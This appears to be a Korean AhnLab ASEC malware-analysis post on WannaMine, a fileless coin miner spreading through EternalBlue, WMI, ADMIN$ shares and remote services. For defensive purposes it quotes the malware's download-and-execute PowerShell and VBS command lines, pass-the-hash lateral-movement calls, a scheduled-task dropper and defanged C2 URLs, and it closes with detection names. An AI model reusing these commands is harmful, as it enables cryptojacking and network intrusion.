본문 바로가기

악성코드 정보

파일리스 형태로 동작하는 WannaMine(SMB 취약점)

최근 들어 코인 마이너의 전파 방식이 점점 다양해지고 있다. 안랩 ASEC 분석팀은 올해 초에 SMB 취약점(MS17-010 이터널블루)을 이용해 전파하는 코인 마이너에 대해 소개한 바 있다.

 

‘EternalBlue’ SMB 취약점(MS17-010)을 통한 악성코드 감염 확산 (2)

안랩 ASEC은 지난 2월 11일 EternalBlue SMB 취약점으로 국내 POS 장비에 코인 마이너를 전파하는 공격을 확인하였다. 작년 6월에도 같은 이터널 블루 취약점으로 POS 장비의 인터넷이 마비되는 사건(https://asec..

asec.ahnlab.com

 

근래에는 “WannaMine”이라는 파일리스(Fileless) 코인 마이너 악성코드가 전파를 위해 SMB 취약점뿐만 아니라 WMI(Windows Management Instrumentation), ADMIN$ 공유 폴더, SMB를 통한 원격지 서비스 등록 및 구동하는 방식을 사용하는 것이 확인되었다.

 

WannaMine의 전체적인 동작 방식은 다음 [그림 1]과 같다.

[그림 1] WannaMine 동작 방식

최초 감염 PC에서 “sysupdater0.bat” 파일이 실행되면 감염 PC의 시스템 운영체제에 따라 윈도우 XP일 경우, 파워쉘을 사용할 수 없음으로 외부에서 VB 스크립트 파일(*.vbs)을 다운받아 “cscript.exe”를 통해 실행하고, 윈도우 Vista 이상일 경우, 파워쉘 스크립트(*.ps1)를 다운받아 “powershell.exe”를 통해 실행한다. 두 가지 형태 모두 스크립트 형태(*.vbs, *.ps1)는 다르지만 내부 기능은 동일하며, 다운로드 받은 스크립트 내부에 인코딩(Encoding)된 코인 마이너 및 Mimikaz 해킹툴, 이터널블루 쉘코드(MS17-010)를 실행하여 피해를 줄 수 있다. 전파방식은 크게 135포트와 445포트를 통한 전파를 시도하며, 135포트의 경우 WMI 명령을 이용하여 원격지 시스템의 “cmd.exe”를 구동하여 외부 파일을 다운로드 받아 실행한다. 445포트의 경우 SMB취약점(MS17-010)을 통해 전파하는 방식과 ADMIN$ 공유폴더를 통한 전파, SMB를 통한 원격지 서비스 등록 및 구동하는 방식 3가지를 사용한다.

 

[그림 2] sysupdater0.bat 내용

 

최초 감염 PC가 윈도우 Vista 이상일 경우, 외부로부터 다운로드 받은 파워쉘 스크립트는 ‘DownloadString’ 함수를 사용하여 파일리스(Fileless) 형태로 동작한다.

 

윈도우 버전

아키텍처

파워쉘 스크립트 다운로드 URL

Vista 이상

x64

hxxp://profetestruec.net:8000/in6.ps1

x86

hxxp://profetestruec.net:8000/in3.ps1

XP 이하

x64/x86

hxxp://profetestruec.net:8000/info.vbs

[표 1] 운영체제에 따른 파워쉘 스크립트 다운로드 URL

 

1. 다운로드된 파워쉘 스크립트의 기능 (in3.ps1, in6.ps1)

 

in3.ps1(x86 기준) 스크립트에는 윈도우 계정정보 탈취를 위한 Mimikatz, SMB 취약점(MS17-010) 전파를 위한 이터널 블루 쉘코드, 코인 마이너 등을 BASE64로 암호화한 형태로 포함하고 있으며, 감염 PCWMI 클래스에 이를 등록(systemcore_Updater4)한 뒤 파워쉘 명령어로 이를 실행한다.

 

WMI 클래스(root\default: systemcore_Updater4) 속성

funs

이터널 블루, 원격 서비스 생성 및 실행, 원격 스케줄러 등록 및 실행 등의 기능을 수행하는 핵심 파워쉘 스크립트

mimi

사용자 자격증명 탈취를 위한 Mimikatz

mon

코인 마이너 바이너리 (1) (in3.ps1에 의해 powershell.exe에 인젝션 됨)

mons

코인 마이너 바이너리 (2) (schtasks.exe에 코인 마이너를 인젝션하는 바이너리)

sc

이터널 블루 전파에 사용되는 쉘코드

[2] 다운로드된 파워쉘 스크립트가 등록하는 WMI 클래스 속성

 

[그림 3] 악성 파워쉘 스크립트가 등록한 systemcore_Updater4 속성

 

WMI 클래스 속성에 [그림 3]과 같이 페이로드를 등록하고 나면 악성 파워쉘 스크립트는 네트워크 전파와 코인 마이너 프로세스 실행 전에 시스템에 지속성을 위해 WMI의 이벤트 필터(Event Filter)와 컨슈머(Consumer)를 이용한다.

 

 

2. WMI 이벤트 필터 등록

 

악성코드가 감염 PC에 상주하기 위해 널리 알려진 기법으로 레지스트리 Run 혹은 RunOnce 키 등에 자신을 등록하는 방법이 있다. 그러나 WannaMine의 경우에는 WMI의 이벤트 필터와 컨슈머를 설정한 뒤 필터 투 컨슈머바인딩(FilterToConsumerBinding)을 통해서 등록한 이벤트 필터와 컨슈머를 연결함으로써 재부팅 시에도 악성 파워쉘 스크립트가 동작하게 된다.

 

[그림 4] WannaMine이 등록한 WMI 이벤트 필터

 

해당 WQL 쿼리가 이벤트 필터로 등록되면 시스템 재부팅 후 4~5분 후에 아래 파워쉘 명령어가 실행된다.

 

powershell.exe -NoP -NonI -W Hidden –E “인코딩된 스크립트

 

인코딩된 스크립트의 기능은 in3.ps1(x86 기준)의 일부를 인코딩한 것으로 코인 마이너 전파 행위와 감염PC에 코인 마이너 프로세스를 실행하는 행위, 특정 포트로 통신하는 파워쉘 프로세스를 종료시키는 행위를 수행한다.

 

 

3. 특정 포트로 통신하는 파워쉘 프로세스 종료

 

현재 시스템에 열린 포트 중에서 3333번 포트, 5555번 포트, 7777번 포트로 통신하는 프로세스가 있을 경우 종료한다.

$tcpconn = netstat -anop tcp

foreach ($t in $tcpconn)

{

$line =$t.split(' ')| ?{$_}

if ($line -eq $null){continue}

if (($line[-3].contains(":3333") -or $line[-3].contains(":5555")-or $line[-3].contains(":7777")) -and $t.contains("ESTABLISHED"))

{

$evid=$line[-1]

Get-Process -id $evid | stop-process -force

}

}

 

 

4. 감염PC 절전 모드 설정 변경

 

이외에도 코인 마이닝 중 시스템이 종료되지 않도록 시스템의 전원 설정을 변경한다.

 

powercfg /CHANGE -standby-timeout-ac 0

시스템이 AC 전원으로 동작할 때 대기 모드로 전환되지 않도록 설정

powercfg /CHANGE -hibernate-timeout-ac 0

시스템이 AC 전원으로 동작할 때 최대 절전 모

드로 전환되지 않도록 설정

Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000

랩톱 환경일 경우 노트북 덮개를 닫아도 절전 모드로 진입하지 않도록 설정

 

 

5. 전파 방식

 

WannaMine은 감염PC의 네트워크 어댑터 설정을 확인하여 현재 IP 주소와 서브넷 마스크를 기준으로 랜덤한 IP에 전파 기능을 수행한다. 이때 원격 PC RPC DCOM(135번 포트) SMB(445번 포트) 연결 여부에 따라서 다른 전파 방식을 사용하고 있다.

 

1)    RPC DCOM (135번 포트)

 

(1)   WMI를 이용하여 원격 프로세스 실행

공격자는 네트워크 전파 이전에 Mimikatz 해킹 툴을 이용하여 NTLM 해시 값을 얻는다. 얻어진 NTLM 해시 값을 통해서 클라이언트 측의 로컬 관리자 권한이 없어도 원격 명령을 수행할 수 있다.

 

$cmd 변수에 담기는 문자열은 원격지 PC의 운영체제가 Vista 이상일 경우 $cmdps, XP 이하 일 경우 $cmdvbs 내용이 담긴다.

 

NTLM 해시가 존재할 경우

Invoke-WmiMethod -class win32_process -name create -Argumentlist $cmd -Credential $cred -Computername $IP

Invoke-WMIpth -Target $ip -Username $user -Hash $ntlmhash

Invoke-WMIpth -Target $ip -domain $domain -Username $user -Hash $ntlmhash

Invoke-WMIpth -Target $ip -Username "administrator" -Hash $ntlmhash

Invoke-WMIpth -Target $ip -Username 'administrator' -Hash $ntlmhash -command $cmdntlm

NTLM 해시가 존재하지 않을 경우

(명령 수행을 위해 로컬 관리자 권한이 필요)

Invoke-WmiMethod -class win32_process -name create -Argumentlist $cmd -Credential $cred -Computername $IP

 

$cmdvbs ="cmd /v:on /c for /f `"tokens=2 delims=.[`" %i in ('ver') do (set a=%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(`"MSXML2.XMLHTTP`"^)>>%windir%\11.vbs&@echo ox.open `"GET`",`"$nic/info.vbs`",false>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(`"ADODB.Stream`"^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile `"%windir%\info.vbs`",2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(`"WScript.Shell`"^)>>%windir%\11.vbs&@echo os.Exec^(`"cscript.exe %windir%\info.vbs`"^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (powershell `"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};`$aa=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if((`$aa -eq `$null) -or !`$aa.contains('$filter_name')) {if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('$nic/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('$nic/in3.ps1')}}`")"

 

$cmdps ="cmd /c powershell.exe -NoP -NonI -W Hidden `"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true};if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('$nic/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('$nic/in3.ps1')}`""

 

[그림 5] Invoke-WmiMethod 명령어 실행 시 패킷 (RemoteCreateInstance)
[그림 6] 원격 PC에서 $cmdps 명령어 실행

 

2)    SMB(445번 포트)

 

(1)   SMB 프로토콜을 이용하여 서비스 생성

원격 PC에 서비스를 실행하기 위해서 RPC DCOM(135번 포트)와 마찬가지로 NTLM 해시가 필요하고, 없을 경우 원격지 PC의 로컬 관리자 권한이 필요하다.

 

NTLM 해시가 존재할 경우

Invoke-SMBpth -Target $ip -domain $domain -Username $User -Hash $passwd -command $cmd

NTLM 해시가 존재하지 않을 경우

(명령 수행을 위해 로컬 관리자 권한이 필요)

Invoke-SMBExec -Target $ip -domain $domain -Username $User -Password $passwd -command $cmd

 

[그림 7] SMB 이용한 서비스 생성 관련 패킷 ("OAAUXMKLQWJDQPJFTIGT" 서비스 생성)

 

[그림 8] 원격  PC "OAAUXMKLQWJDQPJFTIGT"  서비스 생성

 

(2)   공유 폴더를 이용한 작업 스케줄러 생성

$echotxt | out-file  \\$ip\Admin$\Temp\sysupdater0.bat -encoding ascii

schtasks /create /s $ip   /sc weekly /ru "NT authority\system" /TN "sysupdater0" /TR  "c:\windows\temp\sysupdater0.bat" /U $username /P $passwd /f

 

$echotxt ="setlocal EnableDelayedExpansion & for /f `"tokens=2 delims=.[`" %%i in ('ver') do (set a=%%i)&if !a:~-1!==5 (@echo on error resume next>%windir%\11.vbs&@echo Set ox=CreateObject^(`"MSXML2.XMLHTTP`"^)>>%windir%\11.vbs&@echo ox.open `"GET`",`"$nic/info.vbs`",false>>%windir%\11.vbs&@echo ox.send^(^)>>%windir%\11.vbs&@echo If ox.Status=200 Then>>%windir%\11.vbs&@echo Set oas=CreateObject^(`"ADODB.Stream`"^)>>%windir%\11.vbs&@echo oas.Open>>%windir%\11.vbs&@echo oas.Type=1 >>%windir%\11.vbs&@echo oas.Write ox.ResponseBody>>%windir%\11.vbs&@echo oas.SaveToFile `"%windir%\info.vbs`",2 >>%windir%\11.vbs&@echo oas.Close>>%windir%\11.vbs&@echo End if>>%windir%\11.vbs&@echo Set os=CreateObject^(`"WScript.Shell`"^)>>%windir%\11.vbs&@echo os.Exec^(`"cscript.exe %windir%\info.vbs`"^)>>%windir%\11.vbs&cscript.exe %windir%\11.vbs) else (setlocal DisableDelayedExpansion&powershell `"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}; `$aa=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if((`$aa -eq `$null) -or !`$aa.contains('$filter_name')) {if((Get-WmiObject Win32_OperatingSystem).osarchitecture.contains('64')){IEX(New-Object Net.WebClient).DownloadString('$nic/in6.ps1')}else{IEX(New-Object Net.WebClient).DownloadString('$nic/in3.ps1')}}`")"

 

(3)   SMB 취약점(MS17-010) 전파

아래 [그림 9], [그림 10]은 원격PC에 이터널블루 취약점 시도 과정에서 캡처한 패킷이다. 이터널블루 취약점 발현이 성공하였을 경우 원격 PC에서 운영체제에 따라 악성 파워쉘 스크립트가 파일리스 형태로 다운로드 및 실행된다.

 

아키텍처

파워쉘 스크립트 다운로드 URL

x64

hxxp://profetestruec.net:8000/ze6.ps1

x86

hxxp://profetestruec.net:8000/ze3.ps1

[ 3] 운영체제에 따른 파워쉘 스크립트 다운로드 URL

 

[그림 9] 이터널블루 패킷 전송

 

[그림 10] 이터널블루 패킷 내부 쉘코드

 

이터널블루 취약점 외에 WMI, ADMIN$ 공유 폴더, 원격지 서비스 등록 등의 전파 방식은 시스템에서 제공하는 정상적인 기능이고, 공격자는 이를 코인 마이너 전파에 활용하였기 때문에 네트워크 패킷만으로 악성과 정상 여부를 판별해내기가 어렵다. 따라서 사용자는 공격자가 SMB, WMI 프로토콜을 악용하지 않도록 기본 포트를 변경하거나, 해당 서비스들이 불필요하다면 비활성화시키는 것도 고려해야 한다.

 

현재 안랩에서는 SMBWMI 프로토콜에 의해 피해 PC에서의 비정상적인 행위가 발생할 경우 아래 진단명으로 행위 탐지 및 차단 하고있다.

 

[파일 진단]

BAT/Downloader (2019.08.25.00)

VBS/Downloader (2019.08.25.00)

Script/Powershell (2019.08.25.00)

 

[행위 진단]

(1)   RPC DCOM(135번 포트)을 통해 전파할 경우

-       Malware/MDP.Behavior.M2330 // wmiprvse.exe가 파워쉘 스크립트 실행하는 행위 차단

 

(2)   SMB 프로토콜(445번 포트)을 통한 서비스 생성

-       Malware/MDP.Behavior.M2324 // 외부 스크립트 파일 다운로드 기능의 서비스 등록하는 행위 차단

 

[V3 IPS 차단]

-       이터널블루 취약점 패킷 탐지